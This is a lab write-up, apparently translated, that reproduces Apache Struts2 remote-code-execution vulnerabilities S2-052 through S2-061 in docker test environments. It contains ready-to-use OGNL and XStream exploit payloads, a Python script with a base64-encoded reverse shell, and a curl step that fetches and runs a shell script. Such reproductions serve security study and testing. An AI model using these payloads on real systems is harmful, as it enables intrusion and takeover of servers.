Framework vulnerability Series 1: struts vulnerability summary

Posted by Lucidnight on Fri, 03 Dec 2021 15:57:53 +0100

preface:

The loopholes reproduced in this article are not particularly comprehensive, but the loopholes in the last two years have been selected for reproduction in order to effectively reproduce the loopholes. After all, some old loopholes basically do not exist.

1, Introduction to Struts

1. Introduction

Basic introduction:

Struts is Apache Software Foundation (ASF) sponsored one Open Source project It was originally a sub project of the Jakarta project and became the top project of ASF in March 2004. It adopts [java servlet]( https://baike.baidu.com/item/Java Servlet)/ JSP Technology, based on [Java EE]( https://baike.baidu.com/item/Java EE) Web Applied model view controller( MVC)Design pattern The application framework is a classic product of MVC classic design pattern.

In the past years, many security vulnerabilities have been exposed in struts 2, and its name in the industry has also changed from S2-001 to S2-061, that is to say, a total of 61 security vulnerabilities have been generated, two of which are DDOS vulnerabilities and RCE vulnerabilities. The vulnerabilities we reproduce and share this time are mainly RCE vulnerabilities in recent years.

Vulnerability information in recent years:

  • S2-052: the rest plug-in uses XStreamHandler to process xml data. Because there is no filtering on the xml data, RCE is caused when the xml data of the sending sequence is converted to Object
  • S2-053: when using Freemarker template engine, struts 2 allows parsing of OGNL expressions at the same time, so that the data entered by the user itself will not be parsed by OGNL. However, since it is parsed once by Freemarker and then left an expression, it is parsed by OGNL for the second time, resulting in arbitrary command execution vulnerability.
  • S2-057: if the value of namespace is not set when configuring XML for the website, and the wildcard namespace is not set or used in the upper action configuration, the remote code execution vulnerability may occur
  • S2-059: an attacker can construct a malicious OGNL expression and set it to be modified by external input, and will execute the attribute value of the struts 2 tag of the OGNL expression, causing the parsing of the OGNL expression, and eventually causing the impact of remote code execution.
  • S2-061: bypass the sandbox of S2-059.

2. Struts 2 framework judgment

Look at the connection in the url. If it ends with XXX.action or ends directly with XXX.do, it is written by the struts framework.

If the file connected to the URL does not have a suffix, it may be written by the struts 2 framework. You can judge by the file suffix loaded / submitted in the HTMl source code.

If you still can't, you can judge by importing a large amount of wrong data, making it report errors and reading the wrong contents.

2, S2-052 RCE vulnerability

1. Vulnerability profile

The REST plug-in of Apache Struts2 has a high-risk vulnerability of remote code execution. The vulnerability was reported by the security researcher of lgtm.com. The vulnerability number is CVE-2017-9805 (S2-052) There is a deserialization vulnerability in the XStream component of the struts 2 REST plug-in. When using the XStream component to deserialize a data packet in XML format, the data content is not effectively verified, which has a security risk and can be remotely attacked.

Affected versions: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

Vulnerability POC:

<?xml version="1.0" encoding="utf-8"?>
 
<map>
    <entry>
        <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags> 
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized> 
                <opmode>0</opmode> 
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/> 
                    <next class="java.lang.ProcessBuilder">
                      <command><string>The code you want to execute</string></command> 
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter> 
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class> 
                      <name>start</name> 
                      <parameter-types/>
                    </method> 
                    <name>foo</name>
                  </filter> 
                  <next class="string">foo</next>
                </serviceIterator> 
                <lock/>
              </cipher> 
              <input class="java.lang.ProcessBuilder$NullInputStream"/> 
              <ibuffer/> 
              <done>false</done> 
              <ostart>0</ostart> 
              <ofinish>0</ofinish> 
              <closed>false</closed>
            </is> 
            <consumed>false</consumed>
          </dataSource> 
          <transferFlavors/>
        </dataHandler> 
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString> 
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry> 
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

2. Loophole recurrence

  1. Use docker to build its vulnerability environment, access port 8080, select any account for editing, and use burp suite to capture packets.

  2. Modify the content type in the request header to application/xml, modify the Post data to poc content, and change the executed code to its own. 500 error is returned. Theoretically, the code is executed successfully.

  3. It turns out that in theory, it's just in theory. The rebound shell didn't succeed. So we used the POC of GitHub to get the shell. POC address: https://github.com/wooluo/S2-052 . the script runs successfully, but the execution of the command also fails. Shit.

3, S2-053 RCE vulnerability

1. Vulnerability profile

Principle:

The s2-053 vulnerability is caused by the fact that Struts2 allows parsing of OGNL expressions when using Freemarker template engine. As a result, the data entered by the user itself will not be parsed by OGNL. However, after being parsed once by Freemarker, it will leave an expression and be parsed by OGNL for the second time, resulting in an arbitrary command execution vulnerability. (I don't know much)

Affected versions: Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10

Vulnerability POC (command execution point is #cmd = 'whoami'):

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

2. Loophole recurrence

  1. Use docker to build a vulnerability environment and access port 8080. It can be accessed normally, indicating that the vulnerability environment is enabled successfully.

  2. Access hello.action, enter an expression:% {6 * 6}, and the output result is 36, indicating that the vulnerability exists.

  3. Enter POC to see the execution effect, as shown in the figure. The returned result is root

  4. kali listens to the port and uses bash command to execute poc shell

4, S2-057 RCE vulnerability

1. Vulnerability profile

Vulnerability principle:

When defining XML configuration, if the value of namespace is not set and wildcard namespace is not set or used in the upper layer action configuration, remote code execution vulnerability may occur. Similarly, remote code execution vulnerability may occur because the url tag does not set the values of value and action and the upper layer action does not set or use wildcard namespace Happen. (confused)

Affected versions: Struts 2.3 - Struts 2.3.34, Struts 2.5 - Struts 2.5.16

Vulnerability EXP: https://github.com/Ivan1ee/struts2-057-exp

2. Loophole recurrence

  1. Use docker to build a vulnerability environment. Visit index.action. The following interface shows that the establishment is successful.

  2. Use poc to perform arithmetic operation poc: Struts2 showcase / ${(111 + 111)} / actionchain1.action. After accessing, it becomes: / Struts2 showcase / 222 / register2.action

  3. Construct payload and execute command id;

    payload: ${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
    

    url encode the payload, attach it to the url, and use bp playback:

    Request content: GET /struts2-showcase/%24%7B%20(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1
    

    Jump and get the id return value:

5, S2-059 RCE vulnerability

1. Vulnerability profile

Cause of vulnerability: s2-059 is caused by that an attacker can construct a malicious OGNL expression and set it to be modified by external input, and will execute the attribute value of the struts 2 tag of the OGNL expression, causing OGNL expression parsing, and eventually causing the impact of remote code execution.

Affected version: Struts 2.0.0 - Struts 2.5.20

poc:

import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
# Rebound shell commands, which need to be coded and replaced by yourself.
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)

2. Loophole recurrence

  1. Visit the initial page built by docker to display the id content.

  2. According to the vulnerability information, you can enter an OGNL expression to see if there is a vulnerability. Here, enter payload: id=%25{4*6}. The expression is executed successfully, indicating that the vulnerability exists.

  3. To use bash rebound shell, you need to encode the bash command base64. After encoding: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

  4. Use poc to test, bounce the shell, step on the pit here, and you can't bounce the shell according to poc.

  5. Another way to get the shell: use python to start the temporary HTTP service, write the rebound shell statement into shell.sh, and modify the command in POC to curl -o /tmp/shell.sh http://your_HTTP_ip:your_Port/shell.sh. After the POC is executed, the shell.sh is successfully downloaded, and then the bash command in the POC is modified to bash /tmp/sh. the execution is successful and the shell is rebounded.

6, S2-061 RCE vulnerability

1. Vulnerability profile

Vulnerability principle:

The reason for the s2-061 vulnerability is that struts 2 will parse the attribute values of some tag attributes (such as id, other attributes to be found). Therefore, when% {x} is used in these tag attributes and the value of X is controllable by the user, the user can pass in another% {payload} to create an OGNL expression for execution. S2-061 bypasses S2-059 sandbox.

Scope of influence: struts 2.0.0 - struts 2.5.25

Vulnerability poc: https://github.com/wuzuowei/CVE-2020-17530

2. Loophole recurrence

  1. Access the web service built by docker and find that it is the same as s2-059. Try to perform arithmetic operation and find that it can be successfully executed.

  2. Try to use the poc of s2-059 to execute the command. It is found that it cannot be executed normally, so you can only copy the reproduction method of s2-061.

  3. First, after capturing the package, modify the content type to multipart / form data; Boundary = --- webkitformboundaryl7d1b1agsv2wczwf, and add the following contents:

    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Disposition: form-data; name="id"
    
    %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
    
  4. The original GTE transmission mode is used here, and the command content cannot be echoed:

  5. Use POST to transfer data and execute the command successfully.

  6. Modify the command content and bounce the shell. The bash shell command requires base64 encoding. Code address: https://www.jackson-t.ca/runtime-exec-payloads.html , after sending the data, execute and rebound the shell successfully.

Topics: Java Struts security security hole